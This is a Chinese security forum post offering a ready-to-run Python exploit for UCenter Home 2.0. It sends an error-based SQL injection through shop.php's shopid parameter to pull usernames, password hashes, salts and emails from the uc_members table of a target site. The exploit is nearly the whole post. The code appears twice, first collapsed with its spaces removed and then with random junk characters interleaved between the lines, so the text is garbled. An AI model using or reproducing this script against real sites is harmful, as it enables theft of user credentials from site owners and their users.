找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2200|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
8 ~6 P9 ^$ r# @$ H
2 _& d9 L" I( W5 h: v" n  m% l( E) L4 I+ n: N; w9 ^; U) e9 ]3 V
#!/usr/bin/env python  ' m1 n$ F7 x7 `' o

; N& @& h! H* _import sys  5 f! l9 k3 y& o
import urllib2  3 M) {# M1 a. v% M. c1 c( k6 p6 h# M: m
import re  8 g" H5 Y5 ~9 I! `3 p, o* ?
+ j; z& y9 f8 f* ^  R: h
def info():  % Q/ ]& H- u! S( |6 q
    print 'From:http://www.exploit-db.com/exploits/14997/' 6 W3 V4 M' I3 X8 m, Z
    print 'http://www.hake.cc/Web_loudong/'
/ w0 p% R% N1 T  m1 I3 q    print 'changed:qiaoy'  
" Z. o- f- f" F  F/ s    print 'exp:'  
1 S  {6 O: U3 v& }0 l4 j9 P    print ' ./UCenter_Home_2.0.py site'  
" r# K* s2 p% Q- m( e 5 Z0 x. l' e6 l; N+ I$ v2 s
def main():  4 P1 C, b6 K; s" ?0 i, h! W( G
    if len(sys.argv) != 2:  
7 t: I3 t) ?6 ^  m9 R$ m        info()  9 I4 R. I% A' g% t9 T$ T
    else:  
4 r% F7 H7 s/ ]3 {+ i9 }6 a        site = sys.argv[1]  % ?4 [+ Y2 u* A' U$ d5 A
        if site[0:7] == 'http://':  
! B- `- \/ m- ]7 v            sitesite =site  ; [/ P" A/ n+ O2 q. x9 N* }1 K. \
        elif site[0:8] == 'https://':  
4 Q% b- W* J/ D2 R6 q' p8 R. u            sitesite = site  
! ~) h# h# }  e9 w- x2 ~4 q        else:  
1 y! z  }" ]  J) H            site = 'http://'+site  $ u4 q0 T0 J$ G0 X: g# {" B) Z
        try:  , r2 u! Q% M. H0 S$ Y- `
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  / Y& p! y4 j/ S' v  {1 D& W. V) T  g, t
            Value = urllib2.urlopen(url).read()  * w5 L" V2 g2 i# K# D0 h
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
( O$ `0 `2 g8 ~            hacked = Msg.split(':')  : _, u, w' y5 `& j# N9 O
            print 'Name:    '+hacked[1]  8 Q9 b1 x* S2 u* A2 L* \
            print 'Passwd:  '+hacked[2]  5 a& b3 |5 z$ R" G! e
            print 'salt:    '+hacked[3]  
. W& g  ~6 l; I; V' `9 j            print 'email:   '+hacked[4]  ' m* `. P) T- H- A) S6 K7 o
        except:  - Z+ e3 p* ~; w
            print 'Sorry,I can\'t work............'  ; H* u9 v, o+ R# N+ s6 T
4 v' A( {/ j# Y6 k  H
if __name__ == '__main__':  
8 k- O2 T$ {; n% M8 Y    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表